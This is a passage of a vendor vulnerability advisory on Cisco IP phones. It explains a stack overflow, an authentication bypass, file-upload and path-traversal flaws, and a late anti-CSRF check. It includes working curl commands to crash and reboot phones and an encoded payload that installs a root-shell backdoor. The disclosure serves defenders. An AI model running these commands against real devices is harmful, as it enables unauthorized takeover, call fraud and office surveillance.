</span></span><span class="line"><span class="cl">The embedded web-server running on the Cisco IP phones suffers from a
</span></span><span class="line"><span class="cl">buffer-overflow vulnerability. During testing, it was confirmed that a
</span></span><span class="line"><span class="cl">maliciously crafted, unauthenticated request is able to trigger the
</span></span><span class="line"><span class="cl">vulnerability and results in re-booting of the phone. Further analysis
</span></span><span class="line"><span class="cl">of the phone firmware showed that the vulnerability may result in
</span></span><span class="line"><span class="cl">remote code execution in the context of the web server process.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The vulnerable function is extractUsernameAndPassword() for the analyzed
</span></span><span class="line"><span class="cl">CP-8832 and CP-8845/65 phone firmware versions. The
</span></span><span class="line"><span class="cl">function is called whenever a HTTP request needs to be authenticated
</span></span><span class="line"><span class="cl">according to the HTTP &#34;Basic&#34; authentication schema. First, the function
</span></span><span class="line"><span class="cl">allocates a 257 byte-sized temporary buffer tmp_buf on the
</span></span><span class="line"><span class="cl">stack. Then, the HTTP authorization header is acquired through the HTTP
</span></span><span class="line"><span class="cl">connection object conn. The authorization header is decoded from
</span></span><span class="line"><span class="cl">base64 representation by the function decodeUserPassword() and stored
</span></span><span class="line"><span class="cl">into tmp_buf. Before calling decodeUserPassword(), the authorization
</span></span><span class="line"><span class="cl">header string length is not processed safely. The pseudo-code below
</span></span><span class="line"><span class="cl">highlights the problematic computation step:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  char tmp_buf[257];
</span></span><span class="line"><span class="cl">  memset(tmp_buf, 0, sizeof(tmp_buf));
</span></span><span class="line"><span class="cl">  […]
</span></span><span class="line"><span class="cl">  unsigned len = strlen(authorization_header);
</span></span><span class="line"><span class="cl">  len = len &amp; 0xffff;
</span></span><span class="line"><span class="cl">  decodeUserPassword(authorization_header, len, tmp_buf);
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Instead, the following code should have been employed to correctly
</span></span><span class="line"><span class="cl">limit the input to the decodeUserPassword() function as follows:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  char tmp_buf[257];
</span></span><span class="line"><span class="cl">  memset(tmp_buf, 0, sizeof(tmp_buf));
</span></span><span class="line"><span class="cl">  […]
</span></span><span class="line"><span class="cl">  unsigned len = strlen(authorization_header);
</span></span><span class="line"><span class="cl">  if (len &gt; 340) len = 340; // because base64-decoding is an 8 to 6 bit transformation
</span></span><span class="line"><span class="cl">  decodeUserPassword(authorization_header, len, tmp_buf);
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Because of this programming error, an input of up to 65535 characters
</span></span><span class="line"><span class="cl">can be passed to decodeUserPassword(), which will in consequence
</span></span><span class="line"><span class="cl">decode and write up to 49152 bytes into tmp_buf and the subsequent
</span></span><span class="line"><span class="cl">memory area on the stack. The saved stack pointer and program counter
</span></span><span class="line"><span class="cl">are located right behind tmp_buf and therefore can be overwritten with
</span></span><span class="line"><span class="cl">arbitrary values. When the function extractUsernameAndPassword()
</span></span><span class="line"><span class="cl">returns, the modified stack pointer and program counter are loaded
</span></span><span class="line"><span class="cl">from memory. When arbitrary garbage values are supplied, the program
</span></span><span class="line"><span class="cl">will typically crash and the phone will reboot. It is likely that with
</span></span><span class="line"><span class="cl">sufficient knowledge of the memory layout and program state, an
</span></span><span class="line"><span class="cl">attacker may inject carefully prepared data and execute arbitrary
</span></span><span class="line"><span class="cl">code.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The following HTTP request was shown to trigger the vulnerability
</span></span><span class="line"><span class="cl">(HTTP authorization header truncated for readability):
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">GET /CGI/Java/x HTTP/1.1
</span></span><span class="line"><span class="cl">Host: localhost
</span></span><span class="line"><span class="cl">User-Agent: curl/7.58.0
</span></span><span class="line"><span class="cl">Accept: */*
</span></span><span class="line"><span class="cl">Authorization: Basic iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii…
</span></span><span class="line"><span class="cl">Connection: close
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Such a request can be generated with the command below and sent to the
</span></span><span class="line"><span class="cl">HTTP or HTTPS port of the phone’s web server:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">curl -k -u `seq -s: 999` -d 1 https://&lt;phone IP address&gt;/CGI/Java/CallInfo
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">In a disassembly of the vulnerable function
</span></span><span class="line"><span class="cl">extractUsernameAndPassword() it can be observed that the code lacks
</span></span><span class="line"><span class="cl">set-up and validation of stack canaries in the function prolog and
</span></span><span class="line"><span class="cl">epilog. Therefore, an attacker is able to trivially overwrite the
</span></span><span class="line"><span class="cl">saved program counter located on the stack. The underlying Linux
</span></span><span class="line"><span class="cl">kernel has Address-Space Layout Randomization (ASLR) enabled
</span></span><span class="line"><span class="cl">(/proc/sys/kernel/randomize_va_space was observed to be set to the
</span></span><span class="line"><span class="cl">value 2), but the verbose externally exposed message log via the web
</span></span><span class="line"><span class="cl">server contains memory addresses from the HTTP server processes as
</span></span><span class="line"><span class="cl">shown below. Therefore, an attacker is likely to correctly guess
</span></span><span class="line"><span class="cl">memory addresses and becomes able to defeat the ASLR countermeasure.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">7923 DEB Jun 11 10:12:03.235178 (709:818) JAVA-Sec SSL Connection  - Added SSL connection handle 0x40f82660, connDesc 90 to table.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">3.2 Phone&#39;s web interface fails to restrict access to functions
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The IP phone’s web server implements authorization checks to control
</span></span><span class="line"><span class="cl">access to functions. A programming error allows to bypass these
</span></span><span class="line"><span class="cl">checks and access internal functions without authentication. For
</span></span><span class="line"><span class="cl">example, the phone can be rebooted. This issue facilitated the
</span></span><span class="line"><span class="cl">proof-of-concept exploit to gain remote root access to IP phones
</span></span><span class="line"><span class="cl">described in the appendix.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Internally, web pages that allow interaction with internal functions
</span></span><span class="line"><span class="cl">(in contrast to web pages that only display information) are called
</span></span><span class="line"><span class="cl">“editable pages”. If an incoming request is recognized to access an
</span></span><span class="line"><span class="cl">editable page, further checks for authentication and authorization are
</span></span><span class="line"><span class="cl">performed.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The disassembly of the vulnerable function isEditablePage() in the two
</span></span><span class="line"><span class="cl">firmware versions is rewritten as the pseudo-code below and
</span></span><span class="line"><span class="cl">illustrates how the function employs strcmp() to analyze incoming HTTP
</span></span><span class="line"><span class="cl">requests. It fails to produce the correct result when the input does
</span></span><span class="line"><span class="cl">not exactly match the test strings. This is possible for example, when
</span></span><span class="line"><span class="cl">the parameter string contains additional but insignificant characters
</span></span><span class="line"><span class="cl">like an ampersand (‘&amp;’).
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">int isEditablePage(
</span></span><span class="line"><span class="cl">    char *uri,    // query path
</span></span><span class="line"><span class="cl">    char *params, // query parameters
</span></span><span class="line"><span class="cl">) {
</span></span><span class="line"><span class="cl">    return (
</span></span><span class="line"><span class="cl">        strcmp(uri, “/CGI/Java/Serviceability”) == 0 &amp;&amp; (
</span></span><span class="line"><span class="cl">            strcmp(params, “adapter=datetime”) == 0 ||
</span></span><span class="line"><span class="cl">            strcmp(params, “adapter=datetimelocal”) == 0 ||
</span></span><span class="line"><span class="cl">            strcmp(params, “adapter=datetimespec”) == 0 ||
</span></span><span class="line"><span class="cl">…
</span></span><span class="line"><span class="cl">        )
</span></span><span class="line"><span class="cl">    ) || … ;
</span></span><span class="line"><span class="cl">}
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The following command exploits the described behavior to reboot the
</span></span><span class="line"><span class="cl">phone. Another exploit of the described issue is shown in the
</span></span><span class="line"><span class="cl">appendix:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">curl -k -d 1 &#34;https://&lt;IPaddr&gt;/CGI/Java/Serviceability?adapter=do_restart&amp;&#34;
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">3.3 File upload vulnerability in the phone&#39;s web interface
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The IP phone contains a function that allows uploading of files to the
</span></span><span class="line"><span class="cl">phone’s file system. It is usually employed to upload custom
</span></span><span class="line"><span class="cl">certificates and constructed in a non-standard way, i.e. it already writes
</span></span><span class="line"><span class="cl">data to a local file during an initial parameter parsing step. As a
</span></span><span class="line"><span class="cl">consequence, it is possible to write arbitrary file contents, even
</span></span><span class="line"><span class="cl">when later processing steps fail or no further actions are performed
</span></span><span class="line"><span class="cl">on the data. This may lead to denial-of-service conditions, for
</span></span><span class="line"><span class="cl">example storage media failure or storage space exhaustion. The ability
</span></span><span class="line"><span class="cl">to persist arbitrary data on the device facilitated creation of the
</span></span><span class="line"><span class="cl">exploit described in the appendix.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The problematic file upload function is implemented in Java. Incoming
</span></span><span class="line"><span class="cl">HTTP POST requests are handled by the doPost method. When the
</span></span><span class="line"><span class="cl">parameter adapter is equal to “loginPost”, “upload_usercert” or
</span></span><span class="line"><span class="cl">“upload_rootca”, the method parseFormResults() is called to process
</span></span><span class="line"><span class="cl">the request body. parseFormResults() iterates over all body parts and
</span></span><span class="line"><span class="cl">in turn calls parseHeader() for each. Instead of postponing any data
</span></span><span class="line"><span class="cl">processing steps until all input has fully been validated, the method
</span></span><span class="line"><span class="cl">parseFormResults() has the side-effect of writing the parts named
</span></span><span class="line"><span class="cl">“rootca” and “usercert” to the file system.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">3.4 Phone&#39;s file upload affected by path traversal and null injection
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The IP phones contain a file upload function which is vulnerable to
</span></span><span class="line"><span class="cl">path traversal and null byte injection. An attacker is able to write
</span></span><span class="line"><span class="cl">to arbitrary files in the file system, with permissions of the web
</span></span><span class="line"><span class="cl">server process. The proof of concept exploit in the appendix shows how
</span></span><span class="line"><span class="cl">this issue enabled writing to configuration file locations to place a
</span></span><span class="line"><span class="cl">persistent back-door on the phone.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The problematic file upload function is implemented in Java. The
</span></span><span class="line"><span class="cl">parseHeader() method constructs target file paths with the two
</span></span><span class="line"><span class="cl">following statements:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">this.usercertFileName = &#34;/usr/local/wifi/rootca/&#34; + this.rootca + &#34;.up&#34;;
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">this.usercertFileName = &#34;/usr/local/wifi/usercert/&#34; + this.usercert + &#34;.up&#34;;
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">An attacker directly controls the member variables rootca and
</span></span><span class="line"><span class="cl">usercert. By prefixing a desired path with a sequence of dots and
</span></span><span class="line"><span class="cl">slashes and terminating the string with a null character, an arbitrary
</span></span><span class="line"><span class="cl">file path can be written to.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">3.5 Anti-Cross-Site Request Forgery Token ineffective in Phone’s upload function
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The web interface available on the phones contains an upload function
</span></span><span class="line"><span class="cl">for user-provided certificates. To protect against Cross-Site Request
</span></span><span class="line"><span class="cl">Forgery (CSRF) attacks, an Anti-CSRF token is employed. But the
</span></span><span class="line"><span class="cl">Anti-CSRF token is validated too late, after input data has already
</span></span><span class="line"><span class="cl">been written to the file system. Therefore, the Anti-CSRF token is
</span></span><span class="line"><span class="cl">ineffective and does not protect the upload function from CSRF
</span></span><span class="line"><span class="cl">attacks. An attacker may abuse this behavior to exploit security
</span></span><span class="line"><span class="cl">vulnerabilities in the phone’s web server in a CSRF-scenario: For
</span></span><span class="line"><span class="cl">example, by luring an internet-connected victim web browser onto an
</span></span><span class="line"><span class="cl">attacker-controlled page. If the (possibly authenticated) victim also
</span></span><span class="line"><span class="cl">has access to the phone’s web server, the attacker-controlled page may
</span></span><span class="line"><span class="cl">submit malicious requests to the phone.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The method parseFormResults() in the upload implementation verifies
</span></span><span class="line"><span class="cl">the CSRFToken parameter as final step. This is insufficient, because
</span></span><span class="line"><span class="cl">actions with substantial side-effects have already been performed
</span></span><span class="line"><span class="cl">before the check raises an exception. The exception caused by failure
</span></span><span class="line"><span class="cl">of the CSRFToken check does not inhibit exploitation of
</span></span><span class="line"><span class="cl">vulnerabilities, as demonstrated by the proof-of-concept in the
</span></span><span class="line"><span class="cl">appendix.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">4. Impact
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">modzero identified several critical vulnerabilities in Cisco phone
</span></span><span class="line"><span class="cl">web interfaces which lead to a full compromise of the phone without
</span></span><span class="line"><span class="cl">any authentication. An attacker could exploit these vulnerabilities to
</span></span><span class="line"><span class="cl">obtain sensitive call data, to perform call fraud, as well as an audio
</span></span><span class="line"><span class="cl">and video surveillance of offices, and to use the phones as attack
</span></span><span class="line"><span class="cl">platform for other infrastructure.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">5. Proof of concept exploit
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">An IP phone (model CP-8865, firmware version
</span></span><span class="line"><span class="cl">cmterm-8845_65.12-0-1SR1-1) was successfully compromised via
</span></span><span class="line"><span class="cl">exploitation of a combination of vulnerabilities. The command below
</span></span><span class="line"><span class="cl">performs a carefully constructed HTTP request to the phone’s web
</span></span><span class="line"><span class="cl">server to exploit the vulnerabilities documented in this advisory:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">echo &#34;H4sIANX2IlsCA5WPwWoDMQxEexbsP5jcvS45JuRbimsricCxjCynLiX/Hu+ylFx6KOgwejAzjLW99wkCZ8WsNlItXE&#34;\
</span></span><span class="line"><span class="cl">&#34;mJ88GcWW42evVHk/0NT8KsYTxnSriC3Ty732tVXOLgk+uUUaPrb7sJlpgJJqgodwpoOvyAfhc0J9NyoqoYoQgrB06DaSjw5&#34;\
</span></span><span class="line"><span class="cl">&#34;UmHzAxtuIZ6h4twK6taclboPim7et3Ah5dLHdQSFJbFvt/DY/Taf+xb6gKK/rXw7sVJy9u+uVB8Xbh1WQtPExeckFQBAAA=&#34;|
</span></span><span class="line"><span class="cl">base64 -d|gunzip|curl -k --data-binary @- -H &#34;Content-Type: multipart/form-data; boundary=xxx&#34; \
</span></span><span class="line"><span class="cl">&#34;https://&lt;IPaddr&gt;/CGI/Java/Serviceability?adapter=loginPost&amp;&#34;
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The first exploited vulnerability is the issue described in section
</span></span><span class="line"><span class="cl">3.1: The authorization check to access the loginPost function is
</span></span><span class="line"><span class="cl">bypassed by appending an ampersand (‘&amp;’) symbol to the URL. The input
</span></span><span class="line"><span class="cl">payload data is written to the file system due to the file upload
</span></span><span class="line"><span class="cl">vulnerability described in section 3.3. By exploiting the path
</span></span><span class="line"><span class="cl">traversal and null injection vulnerability documented in section 3.4,
</span></span><span class="line"><span class="cl">an internal path can be specified to write into configuration
</span></span><span class="line"><span class="cl">files. The attacker does not provide a valid anti-CSRF token, which
</span></span><span class="line"><span class="cl">causes the server to respond with HTTP error 400 Bad Request. But this
</span></span><span class="line"><span class="cl">does not stop the attack, because of the vulnerable anti-CSRF token
</span></span><span class="line"><span class="cl">validation mechanism described in section 3.5.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The malicious request writes two files. First, a configuration for a
</span></span><span class="line"><span class="cl">backdoor xinetd service is written to the location
</span></span><span class="line"><span class="cl">/usr/local/xinetd/x. The service consists of a root (user 0) shell
</span></span><span class="line"><span class="cl">listening on tcp port 22. (Port 22 was selected, because observed
</span></span><span class="line"><span class="cl">firewall configuration suggested that traffic to this port is
</span></span><span class="line"><span class="cl">typically allowed and expected. If another service is already active
</span></span><span class="line"><span class="cl">on port 22, this may need to be adjusted.) The xinetd configuration is
</span></span><span class="line"><span class="cl">reproduced below:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">service x
</span></span><span class="line"><span class="cl">{
</span></span><span class="line"><span class="cl">type = unlisted
</span></span><span class="line"><span class="cl">protocol = tcp
</span></span><span class="line"><span class="cl">wait = no
</span></span><span class="line"><span class="cl">user = 0
</span></span><span class="line"><span class="cl">group = 0
</span></span><span class="line"><span class="cl">server = /bin/sh
</span></span><span class="line"><span class="cl">server_args = -i
</span></span><span class="line"><span class="cl">port = 22
</span></span><span class="line"><span class="cl">}
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The second part of the requests writes the empty string to
</span></span><span class="line"><span class="cl">/var/run/xinetd.pid, effectively truncating the file. This file is
</span></span><span class="line"><span class="cl">periodically inspected by the cron script located in
</span></span><span class="line"><span class="cl">/etc/cron.5mins/02xinetdmon, which is shown below. The cron script
</span></span><span class="line"><span class="cl">executes every fifth minute in the hour and after xinetd.pid was
</span></span><span class="line"><span class="cl">tampered with, will ensure that xinetd starts with the backdoor
</span></span><span class="line"><span class="cl">configuration.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">#!/bin/sh
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">xinetd_pid=$( cat /var/run/xinetd.pid )
</span></span><span class="line"><span class="cl">if [ -z &#34;$xinetd_pid&#34; -o ! -d /proc/&#34;$xinetd_pid&#34; ]; then
</span></span><span class="line"><span class="cl">   # In dd/mm/yy/hour/min/sec format
</span></span><span class="line"><span class="cl">   currtime=$(date +&#34;%d%m%y%H%M%S&#34;)
</span></span><span class="line"><span class="cl">   echo &#34;$currtime: cannot find xinetd&#34; &gt;&gt; /usr/local/backtraces/xinetd.crash
</span></span><span class="line"><span class="cl">   echo &#34;$currtime: starting xinetd&#34; &gt;&gt; /usr/local/backtraces/xinetd.crash
</span></span><span class="line"><span class="cl">   /etc/init.d/xinetd.sh start
</span></span><span class="line"><span class="cl">fi
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">After waiting until the next fifth minute has passed, the backdoor
</span></span><span class="line"><span class="cl">service is started and can be accessed via connecting to port 22 of
</span></span><span class="line"><span class="cl">the phone.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">6. Workaround
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Disabling the web interface on the affected phone eliminates the
</span></span><span class="line"><span class="cl">risk.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">7. Fix
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">According to the Cisco advisories, fixes are available.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">8. Credits
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> * David Gullasch
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">9. About modzero
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The independent Swiss company modzero AG assists clients with security
</span></span><span class="line"><span class="cl">analysis in the complex areas of computer technology. The focus lies
</span></span><span class="line"><span class="cl">on highly detailed technical analysis of concepts, software and
</span></span><span class="line"><span class="cl">hardware components as well as the development of individual
</span></span><span class="line"><span class="cl">solutions. Colleagues at modzero AG work exclusively in practical,
</span></span><span class="line"><span class="cl">highly technical computer-security areas and can draw on decades of
</span></span><span class="line"><span class="cl">experience in various platforms, system concepts, and designs.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">https://www.modzero.ch
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">contact@modzero.ch
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">10. Disclaimer
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">---------------------------------------------------------------------
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The information in the advisory is believed to be accurate at the time
</span></span><span class="line"><span class="cl">of publishing based on currently available information. Use of the
</span></span><span class="line"><span class="cl">information constitutes acceptance for use in an AS IS condition.
</span></span><span class="line"><span class="cl">There are no warranties with regard to this information. Neither the
</span></span><span class="line"><span class="cl">author nor the publisher accepts any liability for any direct,
</span></span><span class="line"><span class="cl">indirect, or consequential loss or damage arising from use of, or
</span></span><span class="line"><span class="cl">reliance on, this information.
</span></span></code></pre></td></tr></table>
</div>
</div>]]></content:encoded></item></channel></rss>